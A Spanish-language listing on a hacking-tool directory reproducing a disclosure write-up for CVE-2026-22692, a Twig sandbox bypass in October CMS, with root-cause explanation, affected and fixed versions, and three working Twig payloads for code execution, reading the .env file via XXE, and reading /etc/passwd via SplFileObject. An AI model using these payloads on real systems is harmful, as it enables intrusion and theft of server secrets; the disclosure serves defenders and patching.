Skip to content
KitploitKITPLOIT
HerramientasBlog
Enviar
HerramientasBlog
Enviar

¡Herramientas de Hacking, PenTest y Ciberseguridad para tu Arsenal de Seguridad!

Kitploit es un directorio de herramientas de hacking, ciberseguridad y pentesting. Descubre las últimas actualizaciones de proyectos para encontrar vulnerabilidades, analizar sistemas, automatizar pruebas y fortalecer tu seguridad.

··Feeds·Contacto·Privacidad·© 2026 Kitploit

Directorio de Herramientas

Categorías

Ver todas las categorías
Loading categories
CVE-2026-22692 — CVE-2026-22692 - Bypass crítico del Sandbox de Twig mediante collect()->mapInto() que permite RCE/LFI/XXE en October CMS | Kitploit
Herramientas/GitHubGitHub/lukasz-rybak/cve-2026-22692
Análisis de VulnerabilidadesAnálisis de CódigoExplotaciónExplotación de Aplicaciones WebPapers e InvestigaciónAprendizaje y Educación
GitHublukasz-rybak/cve-2026-22692

CVE-2026-22692

CVE-2026-22692 - Bypass crítico del Sandbox de Twig mediante collect()->mapInto() que permite RCE/LFI/XXE en October CMS

Ver Repositorio
hace 4 mesesAún no revisado

Más Populares

Ver todos →

Descubre las herramientas más usadas por nuestra comunidad.

Explora todas las herramientas

Explora nuestra colección de herramientas

Ver todas las herramientas →
Compartir

CVE-2026-22692: Omisión crítica del sandbox de Twig mediante collect()->mapInto() que permite RCE/LFI/XXE (October CMS)

Descripción general

CampoDetalles
ID de CVECVE-2026-22692
GravedadModerada (CVSS:3.1 4.9)
AvisoGHSA-m5qg-jc75-4jp6
Producto afectadoOctober CMS (<= 4.1.4, <= 3.7.12)
Tipo de vulnerabilidadOmisión del sandbox de Twig -> RCE, LFI, XXE
Descubierto porLukasz Rybak

Clasificación CWE

  • CWE-693: Falla del mecanismo de protección
  • CWE-611: Restricción inadecuada de la referencia a entidades externas XML
  • CWE-74: Neutralización inadecuada de elementos especiales en la salida utilizada por un componente posterior ('Inyección')

Resumen

Existe una vulnerabilidad crítica en el sandbox de Twig de October CMS (Modo seguro) que permite a usuarios autenticados con privilegios de edición de plantillas omitir las restricciones de seguridad y ejecutar código PHP arbitrario (RCE) o leer archivos arbitrarios (XXE/LFI) del servidor.

Detalles

Causa raíz

La causa raíz se encuentra en October\Rain\Support\SafeCollection. Esta clase implementa la interfaz CallsAnyMethod, que le indica a System\Twig\SecurityPolicy que omita la lista blanca de métodos estándar para el propio objeto de la colección.

Si bien SafeCollection intenta filtrar los argumentos para evitar la ejecución directa de callables, no bloquea el método mapInto($class). El método mapInto itera sobre la colección e instancia el nombre de clase proporcionado:

root@kitploit:~
new $class($value, $key);

Esto permite a un atacante instanciar cualquier clase conocida por la aplicación.

Vulnerabilidad 1: RCE (Ejecución de funciones)

La clase System\Twig\SecurityPolicy incluye explícitamente en la lista blanca el método __toString() en todos los objetos. Al instanciar Psy\Readline\Hoa\Xcallable (que envuelve un callable) y envolverlo dentro de un GuzzleHttp\Psr7\FnStream (que llama a una función definida por el usuario en su método __toString mediante la propiedad _fn___toString), un atacante puede desencadenar la ejecución de funciones PHP arbitrarias que no requieren argumentos (por ejemplo, php_uname, phpinfo) simplemente imprimiendo el objeto en Twig.

Vulnerabilidad 2: XXE (Lectura arbitraria de archivos)

La clase SimpleXMLElement acepta un indicador de opción de libxml como segundo argumento de su constructor. mapInto() pasa la clave de la colección como segundo argumento al constructor. Al crear una colección con una clave de 2 (que corresponde a LIBXML_NOENT), un atacante puede habilitar la sustitución de entidades externas en SimpleXMLElement, lo que conduce a un XXE inmediato y a la capacidad de leer archivos del sistema.

Vulnerabilidad 3: LFI (Lectura arbitraria de archivos mediante SplFileObject)

Existe una vulnerabilidad de Inclusión Local de Archivos (LFI) más directa que utiliza la clase nativa de PHP SplFileObject. Al instanciar SplFileObject con una ruta de archivo y un modo de lectura (pasados mediante mapInto), un atacante obtiene un objeto de archivo iterable. Pasar este objeto al helper collect() desencadena una iteración inmediata (mediante iterator_to_array dentro del núcleo del framework), lo que omite la política de bloqueo de métodos del Sandbox. Esto permite leer cualquier archivo al que el servidor web tenga acceso, sin requerir soporte XML ni bibliotecas de terceros específicas.

PoC (Prueba de Concepto)

Requisitos previos

  • Acceso autenticado al Backend de October CMS (o cualquier funcionalidad que permita la edición de plantillas Twig)
  • CMS_SAFE_MODE=true

Payload 1: RCE (Ejecutar php_uname)

root@kitploit:~
{% set clsX = 'Psy.Readline.Hoa.Xcallable'|replace({'.': '\\'}) %}
{% set clsF = 'GuzzleHttp.Psr7.FnStream'|replace({'.': '\\'}) %}

{% set x = collect({'': 'php_uname'}).mapInto(clsX).first() %}

{% set methods = {'__toString': x} %}
{% set f = collect([methods]).mapInto(clsF).first() %}

System Info: {{ f }}

Payload 2: XXE (Leer el archivo .env)

root@kitploit:~
{% set xml_payload = '<?xml version="1.0"?><!DOCTYPE root [<!ENTITY b SYSTEM "file:///var/www/html/.env">]><root>&b;</root>' %}

{# Use key '2' (LIBXML_NOENT) to enable Entity Substitution in SimpleXMLElement #}
{% set x = collect({2: xml_payload}).mapInto('SimpleXMLElement').first() %}

FILE CONTENT (.env):
{{ x }}

Payload 3: LFI (Leer /etc/passwd mediante SplFileObject)

root@kitploit:~
{% set target = '/etc/passwd' %}
{% set file = collect({'r': target}).mapInto('SplFileObject').first() %}
{% set content = collect(file) %}

LFI Result:
{{ content.join('') }}

Impacto

Ejecución Remota de Código (RCE), Inclusión Local de Archivos (LFI), Inyección de Entidades Externas XML (XXE).

  • RCE: Permite la ejecución de código PHP (limitado a funciones sin argumentos con el gadget FnStream, pero potencialmente ampliable con otros gadgets).
  • LFI / XXE: Permite leer cualquier archivo del sistema de archivos del servidor al que el usuario web tenga acceso (incluidos /etc/passwd, la configuración de la base de datos, .env, etc.) mediante múltiples vectores (SimpleXMLElement o SplFileObject).

Esto afecta a cualquier instalación de October CMS donde usuarios no confiables o semiconfiables tengan acceso al editor de plantillas del CMS, lo que efectivamente les permite escalar privilegios al nivel de Administrador del Sistema / Root.

Productos afectados

  • Paquete: octobercms/october (Packagist)
  • Versiones afectadas: <= 4.1.4, <= 3.7.12
  • Corregido en: 4.1.5, 3.7.13

Referencias

  • https://github.com/octobercms/october/security/advisories/GHSA-m5qg-jc75-4jp6
  • https://nvd.nist.gov/vuln/detail/CVE-2026-22692

Descargo de responsabilidad

Este CVE fue divulgado de manera responsable siguiendo las prácticas de divulgación coordinada de vulnerabilidades. La información aquí proporcionada tiene fines exclusivamente educativos y defensivos.

Descargar herramienta